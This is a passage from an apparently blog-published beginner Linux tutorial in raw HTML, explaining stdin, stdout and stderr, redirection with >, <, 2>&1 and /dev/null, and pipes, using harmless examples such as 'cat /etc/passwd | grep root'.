pre-wrap;">/etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> as it’s data source and our terminal screen is used as an output destination also known as standard output (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">). Also, programs may produce error messages which are also printed out in our terminal screen but via another channel, known as standard error (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">).</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">One program’s output (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout/stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) could be transferred to another program’s standard input (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) for further processing.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Particularly, any program has two different outputs: </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and one input channel: standard input (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It is possible to redirect </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> of a command to a file using </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 13pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">></span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (greater-than) sign. And the opposite, get file contents to command’s standard input (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) by using </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 13pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (less-than) sign.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat /etc/passwd </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">></span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> /tmp/outputdata</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instead of printing file contents on our terminal screen, we redirect </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> to the file </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/tmp/outputdata</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, as result it will create a destination file with stdout’s contents.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As opposite example:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">base64 </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> /etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 13.3333px; white-space: pre-wrap;"> as result</span><span style="font-family: "Roboto Mono", monospace; font-size: 13.3333px; white-space: pre-wrap;"> </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> contents are redirected to the </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> of </span><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">base64</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> command.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">All these streams </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> have appropriate file descriptor numbers, which could be used in specific channel redirection.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin = 0</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout = 1</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr = 2</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Let’s produce some error message:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id nosuchuser</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">After issuing this command we will see an error on our terminal screen:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id: ‘nosuchuser’: no such user</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">If we’ll execute </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id nosuchuser > /tmp/outputdata</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, output file will be empty because </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> command will use </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> for it’s output stream.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">But, </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id nosuchuser </span><span style="background-color: #efefef; color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">>/tmp/outputdata</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> will successfully redirect stderr stream.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">By searching the internet for some commands, you may notice redirections like </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>&1</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>/dev/null</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and I don't want you to be confused: </span></p><br /><ul style="margin-bottom: 0px; margin-top: 0px; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>&1</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is a redirection of stderr to stdout.</span></p></li><li aria-level="1" dir="ltr" style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: disc; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/dev/null</span><span style="font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is a device that will throw to trash all data that was sent to it.</span></p></li></ul><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">So it is possible to suppress (ignore) any chosen output by redirecting to </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/dev/null</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">some_command </span><span style="background-color: #f3f3f3; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">>/dev/null</span><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #f3f3f3; color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>/dev/null</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> >/dev/null</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> suppresses </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>/dev/null</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> suppresses </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">And finally, </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>&1</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> will redirect stderr stream to the stdout stream, which could be saved in one file:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">id nosuchuser </span><span style="background-color: #efefef; color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">2>&1</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">>/tmp/outputdata</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/tmp/outputdata</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> will contain both </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stderr</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> content, while there will be no output at all on our terminal screen.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">PIPEs.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To transfer output of one program to another we should use </span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">PIPE</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Pipe is some kind of a virtual connector between one channel to another. To make that work, one end of the PIPE must have a sender, and other receiver. It is not possible to send data to the PIPE without a receiver on the other side.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For piping data from one program (command) to another, we use special character </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 13pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (vertical bar) between the two commands:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat /etc/passwd </span><span style="background-color: #efefef; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> grep root</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">In this example, `</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">` of the `</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat /etc/passwd</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">` is transferred to the `</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdin</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">` of the `</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">grep root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">` command, which by itself outputs on our terminal screen (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">stdout</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) one line containing the ‘root’ string.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It is possible to construct a very long and complex command chain, while each piped command’s output is being catched and processed by another command stdin.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">For example, getting login shell of the root user:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">cat /etc/passwd </span><span style="background-color: #f3f3f3; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> grep root </span><span style="background-color: #f3f3f3; color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="background-color: #f3f3f3; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> cut -d ':' -f7</span></p><br /><br /></span>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-6027441631297483622022-04-05T01:25:00.000+03:002022-04-05T01:25:04.164+03:00#HOWTO #Linux: File-System<span id="docs-internal-guid-b9eb7d86-7fff-5e00-f73c-84dad80c1285"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; 